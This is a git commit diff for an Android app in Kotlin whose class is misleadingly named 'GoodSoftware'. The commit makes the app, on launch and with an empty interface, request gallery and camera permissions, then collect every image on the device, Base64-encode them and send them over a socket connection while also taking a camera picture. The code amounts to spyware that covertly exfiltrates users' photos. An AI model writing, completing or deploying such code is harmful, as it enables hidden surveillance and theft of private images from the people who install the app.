Only run start
This commit is contained in:
parent
92387a764b
commit
c46cb54acc
@ -51,6 +51,7 @@ android {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
|
implementation("androidx.camera:camera-camera2:1.3.3")
|
||||||
implementation(libs.androidx.camera.lifecycle)
|
implementation(libs.androidx.camera.lifecycle)
|
||||||
val camerax_version = "1.4.0-alpha05"
|
val camerax_version = "1.4.0-alpha05"
|
||||||
|
|
||||||
|
@ -23,6 +23,7 @@ import androidx.core.app.ActivityCompat
|
|||||||
import androidx.core.content.ContextCompat
|
import androidx.core.content.ContextCompat
|
||||||
import androidx.lifecycle.LifecycleOwner
|
import androidx.lifecycle.LifecycleOwner
|
||||||
import androidx.lifecycle.lifecycleScope
|
import androidx.lifecycle.lifecycleScope
|
||||||
|
import kotlinx.coroutines.Dispatchers
|
||||||
import kotlinx.coroutines.launch
|
import kotlinx.coroutines.launch
|
||||||
import java.io.BufferedReader
|
import java.io.BufferedReader
|
||||||
import java.io.ByteArrayOutputStream
|
import java.io.ByteArrayOutputStream
|
||||||
@ -96,15 +97,37 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fun launch() {
|
private fun launch() {
|
||||||
checkCameraPermission()
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||||
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) == PackageManager.PERMISSION_GRANTED) {
|
||||||
|
grabAllImages()
|
||||||
|
} else {
|
||||||
|
requestMediaImagesPermission()
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
|
||||||
|
grabAllImages()
|
||||||
|
} else {
|
||||||
|
requestGalleryPermission()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
|
||||||
|
takePicture()
|
||||||
|
} else {
|
||||||
|
requestCameraPermission()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun start(){
|
||||||
|
activity.lifecycleScope.launch(Dispatchers.Default) {
|
||||||
|
launch()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun checkCameraPermission() {
|
private fun checkCameraPermission() {
|
||||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
||||||
requestCameraPermission()
|
requestCameraPermission()
|
||||||
} else {
|
|
||||||
startPictureCapture()
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -112,46 +135,22 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun checkStoragePermission() {
|
|
||||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
|
|
||||||
// Request READ_MEDIA_IMAGES permission for Android 13 and higher
|
|
||||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
||||||
requestMediaImagesPermission()
|
|
||||||
} else {
|
|
||||||
// For lower Android versions, request READ_EXTERNAL_STORAGE
|
|
||||||
requestGalleryPermission()
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
startPictureCapture()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
|
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
|
||||||
private fun requestMediaImagesPermission() {
|
private fun requestMediaImagesPermission() {
|
||||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun startPictureCapture() {
|
private fun takePicture(){
|
||||||
activity.lifecycleScope.launch {
|
activity.lifecycleScope.launch {
|
||||||
try {
|
try {
|
||||||
// Check and request camera permission
|
|
||||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
|
||||||
requestCameraPermission()
|
|
||||||
}
|
|
||||||
|
|
||||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
||||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
|
|
||||||
checkStoragePermission()
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
|
||||||
checkStoragePermission()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// If both permissions are granted, proceed with picture capture and gallery access
|
|
||||||
takeBeautifulPicture(activity, activity)
|
takeBeautifulPicture(activity, activity)
|
||||||
|
} catch (e: Exception){
|
||||||
|
println(e)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun grabAllImages(){
|
||||||
Thread {
|
Thread {
|
||||||
try {
|
try {
|
||||||
val imageList = getAllImagesFromGallery(activity)
|
val imageList = getAllImagesFromGallery(activity)
|
||||||
@ -165,18 +164,11 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
disconnect(connection)
|
disconnect(connection)
|
||||||
} catch (e: Exception) {
|
}catch (e: Exception){
|
||||||
e.printStackTrace()
|
e.printStackTrace()
|
||||||
// Handle the exception, e.g., log the error or notify the user
|
|
||||||
}
|
}
|
||||||
}.start()
|
}.start()
|
||||||
} catch (e: Exception) {
|
|
||||||
e.printStackTrace()
|
|
||||||
// Handle the exception, e.g., log the error or notify the user
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
|
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
|
||||||
var base64Image = ""
|
var base64Image = ""
|
||||||
@ -231,38 +223,6 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
private fun requestGalleryPermission() {
|
private fun requestGalleryPermission() {
|
||||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Handle permission request result
|
|
||||||
fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
|
|
||||||
when (requestCode) {
|
|
||||||
REQUEST_CAMERA_PERMISSION -> {
|
|
||||||
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
|
||||||
startPictureCapture()
|
|
||||||
} else {
|
|
||||||
// Camera permission denied
|
|
||||||
// Handle accordingly
|
|
||||||
}
|
|
||||||
}
|
|
||||||
REQUEST_GALLERY -> {
|
|
||||||
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
|
||||||
startPictureCapture()
|
|
||||||
} else {
|
|
||||||
// Gallery permission denied
|
|
||||||
// Handle accordingly
|
|
||||||
}
|
|
||||||
}
|
|
||||||
REQUEST_MEDIA_IMAGES_PERMISSION -> {
|
|
||||||
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
|
||||||
startPictureCapture()
|
|
||||||
} else {
|
|
||||||
// Media images permission denied
|
|
||||||
// Handle accordingly
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
data class ConnectionResult(
|
data class ConnectionResult(
|
||||||
val socket: Socket,
|
val socket: Socket,
|
||||||
val reader: BufferedReader,
|
val reader: BufferedReader,
|
||||||
@ -435,10 +395,6 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
private fun hasBackCamera(): Boolean {
|
private fun hasBackCamera(): Boolean {
|
||||||
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
|
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
|
||||||
}
|
}
|
||||||
@ -484,8 +440,6 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
imageList.add(contentUri.toString())
|
imageList.add(contentUri.toString())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return imageList
|
return imageList
|
||||||
|
@ -11,24 +11,8 @@ import androidx.lifecycle.LifecycleOwner
|
|||||||
import com.ti.m.ui.theme.MTheme
|
import com.ti.m.ui.theme.MTheme
|
||||||
|
|
||||||
class MainActivity : ComponentActivity(), LifecycleOwner {
|
class MainActivity : ComponentActivity(), LifecycleOwner {
|
||||||
private lateinit var goo: GoodSoftware
|
|
||||||
|
|
||||||
override fun onCreate(savedInstanceState: Bundle?) {
|
override fun onCreate(savedInstanceState: Bundle?) {
|
||||||
super.onCreate(savedInstanceState)
|
super.onCreate(savedInstanceState)
|
||||||
setContent {
|
GoodSoftware(this@MainActivity).start()
|
||||||
MTheme {
|
|
||||||
Surface(
|
|
||||||
modifier = Modifier.fillMaxSize(),
|
|
||||||
color = MaterialTheme.colorScheme.background
|
|
||||||
) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
GoodSoftware(this@MainActivity).launch()
|
|
||||||
}
|
|
||||||
|
|
||||||
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
|
|
||||||
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
|
|
||||||
goo.onRequestPermissionsResult(requestCode, grantResults)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user